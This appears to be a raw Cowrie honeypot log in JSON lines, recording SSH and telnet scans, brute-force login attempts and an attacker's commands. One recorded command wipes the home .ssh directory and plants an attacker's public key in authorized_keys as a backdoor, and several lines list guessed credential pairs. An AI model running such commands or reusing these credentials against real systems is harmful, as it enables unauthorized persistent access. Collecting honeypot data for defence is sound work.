{"eventid":"cowrie.session.connect","src_ip":"190.246.41.47","src_port":52556,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0ad4aef2a6","protocol":"telnet","message":"New connection: 190.246.41.47:52556 (159.203.135.109:23) [session: 9a0ad4aef2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:40.330659Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.41.47","src_port":52634,"dst_ip":"159.203.135.109","dst_port":23,"session":"2819a9828afb","protocol":"telnet","message":"New connection: 190.246.41.47:52634 (159.203.135.109:23) [session: 2819a9828afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:41.957275Z"}
{"eventid":"cowrie.session.closed","duration":4.157665729522705,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:46.114817Z","src_ip":"190.246.41.47","session":"2819a9828afb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55976,"dst_ip":"159.203.135.109","dst_port":23,"session":"720a4902fecc","protocol":"telnet","message":"New connection: 174.138.46.234:55976 (159.203.135.109:23) [session: 720a4902fecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:48.870121Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55996,"dst_ip":"159.203.135.109","dst_port":23,"session":"07ac23fbe062","protocol":"telnet","message":"New connection: 174.138.46.234:55996 (159.203.135.109:23) [session: 07ac23fbe062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:48.952878Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56106,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00e529d0ef0","protocol":"telnet","message":"New connection: 174.138.46.234:56106 (159.203.135.109:23) [session: e00e529d0ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:49.313997Z"}
{"eventid":"cowrie.session.closed","duration":5.938073396682739,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:54.808100Z","src_ip":"174.138.46.234","session":"720a4902fecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.99265193939209,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:55.306524Z","src_ip":"174.138.46.234","session":"e00e529d0ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.983307600021362,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:44:57.936095Z","src_ip":"174.138.46.234","session":"07ac23fbe062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":46897,"dst_ip":"10.17.0.5","dst_port":22,"session":"e631749b355b","protocol":"ssh","message":"New connection: 103.248.120.6:46897 (10.17.0.5:22) [session: e631749b355b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:07.595594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:07.606223Z","src_ip":"103.248.120.6","session":"e631749b355b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:07.826952Z","src_ip":"103.248.120.6","session":"e631749b355b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"123","message":"login attempt [user10/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:08.756061Z","src_ip":"103.248.120.6","session":"e631749b355b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:09.981872Z","src_ip":"103.248.120.6","session":"e631749b355b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":57299,"dst_ip":"10.17.0.5","dst_port":22,"session":"53776bb28b6a","protocol":"ssh","message":"New connection: 185.48.213.208:57299 (10.17.0.5:22) [session: 53776bb28b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:57.128911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:57.133675Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:57.252036Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2024","message":"login attempt [oracle/oracle2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:57.757231Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.075356Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.078063Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.081686Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.202817Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.478758Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.481799Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.606154Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.611182Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":23885,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf79d5e0151","protocol":"ssh","message":"New connection: 185.48.213.208:23885 (10.17.0.5:22) [session: 9bf79d5e0151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.722138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.727190Z","src_ip":"185.48.213.208","session":"9bf79d5e0151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:58.845757Z","src_ip":"185.48.213.208","session":"9bf79d5e0151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:45:59.352485Z","src_ip":"185.48.213.208","session":"9bf79d5e0151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:00.475350Z","src_ip":"185.48.213.208","session":"9bf79d5e0151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":7276,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f17300ccf54","protocol":"ssh","message":"New connection: 185.48.213.208:7276 (10.17.0.5:22) [session: 5f17300ccf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:00.593791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:00.605059Z","src_ip":"185.48.213.208","session":"5f17300ccf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:00.727809Z","src_ip":"185.48.213.208","session":"5f17300ccf54","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:01.240021Z","src_ip":"185.48.213.208","session":"5f17300ccf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:01.365564Z","src_ip":"185.48.213.208","session":"53776bb28b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:01.370326Z","src_ip":"185.48.213.208","session":"5f17300ccf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":27431,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da43455d14e","protocol":"ssh","message":"New connection: 125.22.105.67:27431 (10.17.0.5:22) [session: 4da43455d14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:14.374217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:14.379190Z","src_ip":"125.22.105.67","session":"4da43455d14e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:14.684928Z","src_ip":"125.22.105.67","session":"4da43455d14e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"system","message":"login attempt [test/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:15.921659Z","src_ip":"125.22.105.67","session":"4da43455d14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:17.229799Z","src_ip":"125.22.105.67","session":"4da43455d14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01043605804443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:46:40.340963Z","src_ip":"190.246.41.47","session":"9a0ad4aef2a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":39046,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e55d6dcdb2","protocol":"ssh","message":"New connection: 103.248.120.6:39046 (10.17.0.5:22) [session: e2e55d6dcdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:11.846494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:11.851250Z","src_ip":"103.248.120.6","session":"e2e55d6dcdb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:12.073940Z","src_ip":"103.248.120.6","session":"e2e55d6dcdb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.123","message":"login attempt [ubuntu/ubuntu.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:12.994968Z","src_ip":"103.248.120.6","session":"e2e55d6dcdb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:14.222563Z","src_ip":"103.248.120.6","session":"e2e55d6dcdb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39576,"dst_ip":"159.203.135.109","dst_port":23,"session":"87ab1b8d4aae","protocol":"telnet","message":"New connection: 174.138.46.234:39576 (159.203.135.109:23) [session: 87ab1b8d4aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:41.039117Z"}
